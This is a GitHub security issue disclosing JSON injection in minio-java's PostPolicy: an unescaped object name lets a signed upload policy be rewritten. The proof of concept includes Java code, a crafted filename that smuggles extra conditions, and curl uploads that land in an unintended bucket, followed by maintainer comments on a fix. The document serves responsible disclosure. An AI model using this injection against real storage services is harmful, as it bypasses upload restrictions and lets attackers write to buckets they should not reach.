Minio-java library vulnerable to tampering signed policy conditions via PostPolicy objectname
See original GitHub issueAmazon S3 supports HTTP POST requests so that users can upload content directly to Amazon S3 without having to pass data through a secure intermediary node. Those requests are signed by a web service together with security policy condition restrictions, such as the allowed bucket name where objects can be uploaded, content-types that are allowed and maximum file size allowed. Minio-java library supports handling that policy signing part.
Minio-java library is vulnerable of tampering of signed policy conditions via object filename parameter. The filename parameter has no input validation or any kind of output encoding when written as part of the soon-to-be-signed policy string. If an attacker can control the filename part of the policy (attachment name), they can add arbitrary policies by including " as part of the filename that escapes the filename value field. An attacker can then attempt to overwrite existing restricting policies by using different kind of techniques. As an example, they could try rewriting condition block by introducing a new one without same restrictions.
In Minio playground using MinioClient PostPolicy class by controlling the Policy’s filename parameter it was possible to upload arbitrary filename to an arbitrary bucket even thought the policy restrictions should have prevented it. Minio playground allows overwriting JSON policy conditions which makes the attack possible but it seems that AWS S3 has more validations that make performing the attack harder. AWS S3 has more validation checks of the signed policy, such as it does not allow unknown dictionary keys, and requires that there are no duplicate key elements.
Minio 7.1.4 (2020-09-24) is vulnerable, and so is Minio 8.1.0 (2021-02-18). Their API interface differs a bit, but the same issue anyway exists in both versions.
POC – The following example uses PostPolicy to sign a policy, that is later used for uploading a file to an arbitrary bucket (asdf) with arbitrary name (hax.txt).
Code snippet (PresignedPostPolicy.java):
import io.minio.MinioClient; // minio-7.1.4-all.jar
MinioClient minioClient =
MinioClient.builder()
.endpoint(https://play.min.io)
.credentials("Q3AM3UQ867SPQQA43P2F", "zuf+tfteSlswRu7BJ86wekitnifILbZam1KYY3TG")
.build();
String objectname = args[0]; // "hello.txt";
String bucket = "asdf";
PostPolicy policy = new PostPolicy(bucket, objectname, ZonedDateTime.now().plusDays(7));
policy.setContentType("plain/text");
policy.setSuccessActionStatus(201);
Compile & Execute:
/minio$ javac -cp minio-7.1.4-all.jar PresignedPostPolicy.java;
/minio$ java -cp minio-7.1.4-all.jar:. PresignedPostPolicy.java 'hello.txt"]],"conditions":[["eq","$success_action_status","201'
$ curl -X POST -F bucket=asdf\
F x-amz> -F x-amz-date=20210315T091621Z\
> -F success_action_status=201\
> -F x-amz-signature=2212314a14213ef9621f507fce8ff102fc5ee425444a30d0073575cc4542591b\
> -F key=hello.txt"]],"conditions":[["eq","$success_action_status","201\
> -F x-amz-algorithm=AWS4-HMAC-SHA256\
> -F Content-Type=plain/text\
> -F x-amz-credential=Q3AM3UQ867SPQQA43P2F/20210315/us-east-1/s3/aws4_request\
> -F policy=eyJleHBpcmF0aW9uIjoiMjAyMS0wMy0yMlQwOToxNjoyMS4zMTBaIiwiY29uZGl0aW9ucyI6W1siZXEiLCIkYnVja2V0IiwiYXNkZiJdLFsiZXEiLCIka2V5IiwiaGVsbG8udHh0Il1dLCJjb25kaXRpb25zIjpbWyJlcSIsIiRzdWNjZXNzX2FjdGlvbl9zdGF0dXMiLCIyMDEiXSxbImVxIiwiJENvbnRlbnQtVHlwZSIsInBsYWluL3RleHQiXSxbImVxIiwiJHN1Y2Nlc3NfYWN0aW9uX3N0YXR1cyIsIjIwMSJdLFsiZXEiLCIkeC1hbXotYWxnb3JpdGhtIiwiQVdTNC1ITUFDLVNIQTI1NiJdLFsiZXEiLCIkeC1hbXotY3JlZGVudGlhbCIsIlEzQU0zVVE4NjdTUFFRQTQzUDJGLzIwMjEwMzE1L3VzLWVhc3QtMS9zMy9hd3M0X3JlcXVlc3QiXSxbImVxIiwiJHgtYW16LWRhdGUiLCIyMDIxMDMxNVQwOTE2MjFaIl1dfQ==\
> -F file=@hello.txt https://play.min.io/asdf
<?xml version="1.0" encoding="UTF-8"?>
<PostResponse><Bucket>asdf</Bucket><Key>hello.txt]],conditions:[[eq,,201</Key><ETag>"6f5902ac237024bdd0c176cb93063dc4"</ETag><Location>https://play.min.io/asdf/hello.txt%5D%5D,conditions:%5B%5Beq,,201</Location></PostResponse>
$ curl -X POST -F bucket=dada -F x-amz-date=20210315T091621Z -F success_action_status=201 -F x-amz-signature=2212314a14213ef9621f507fce8ff102fc5ee425444a30d0073575cc4542591b -F key=hax.txt -F x-amz-algorithm=AWS4-HMAC-SHA256 -F Content-Type=plain/text -F x-amz-credential=Q3AM3UQ867SPQQA43P2F/20210315/us-east-1/s3/aws4_request -F policy=eyJleHBpcmF0aW9uIjoiMjAyMS0wMy0yMlQwOToxNjoyMS4zMTBaIiwiY29uZGl0aW9ucyI6W1siZXEiLCIkYnVja2V0IiwiYXNkZiJdLFsiZXEiLCIka2V5IiwiaGVsbG8udHh0Il1dLCJjb25kaXRpb25zIjpbWyJlcSIsIiRzdWNjZXNzX2FjdGlvbl9zdGF0dXMiLCIyMDEiXSxbImVxIiwiJENvbnRlbnQtVHlwZSIsInBsYWluL3RleHQiXSxbImVxIiwiJHN1Y2Nlc3NfYWN0aW9uX3N0YXR1cyIsIjIwMSJdLFsiZXEiLCIkeC1hbXotYWxnb3JpdGhtIiwiQVdTNC1ITUFDLVNIQTI1NiJdLFsiZXEiLCIkeC1hbXotY3JlZGVudGlhbCIsIlEzQU0zVVE4NjdTUFFRQTQzUDJGLzIwMjEwMzE1L3VzLWVhc3QtMS9zMy9hd3M0X3JlcXVlc3QiXSxbImVxIiwiJHgtYW16LWRhdGUiLCIyMDIxMDMxNVQwOTE2MjFaIl1dfQ== -F file=@hello.txt https://play.min.io/dada
<?xml version="1.0" encoding="UTF-8"?>
<PostResponse><Bucket>dada</Bucket><Key>hax.txt</Key><ETag>"6f5902ac237024bdd0c176cb93063dc4"</ETag><Location>https://play.min.io/dada/hax.txt</Location></PostResponse>
Signed policy contains duplicate condition block where the later one overwrites the first one:
{
"expiration":"2021-03-22T09:16:21.310Z",
"conditions":[
[
"eq",
"$bucket",
"asdf"
],
[
"eq",
"$key",
"hello.txt"
]
],
"conditions":[
[
"eq",
"$success_action_status",
"201"
],
[
"eq",
"$Content-Type",
"plain/text"
],
[
"eq",
"$success_action_status",
"201"
],
[
"eq",
"$x-amz-algorithm",
"AWS4-HMAC-SHA256"
],
[
"eq",
"$x-amz-credential",
"Q3AM3UQ867SPQQA43P2F/20210315/us-east-1/s3/aws4_request"
],
[
"eq",
"$x-amz-date",
"20210315T091621Z"
]
]
}
URLs: https://github.com/minio/minio-java/blob/7.1.4/api/src/main/java/io/minio/PostPolicy.java#L148 https://repo1.maven.org/maven2/io/minio/minio/
BR; Toni Huttunen, Fraktal
Issue Analytics
- State:
- Created 2 years ago
- Comments:12 (6 by maintainers)
I see the actual issue is constructing the JSON manually in
minio-java
. Constructing a new map with all values as the spec and convert to a JSON data is the actual fix. Let me see anyone fixes that way.We have three issues here.
To keep these things in mind, feel free to send a fix.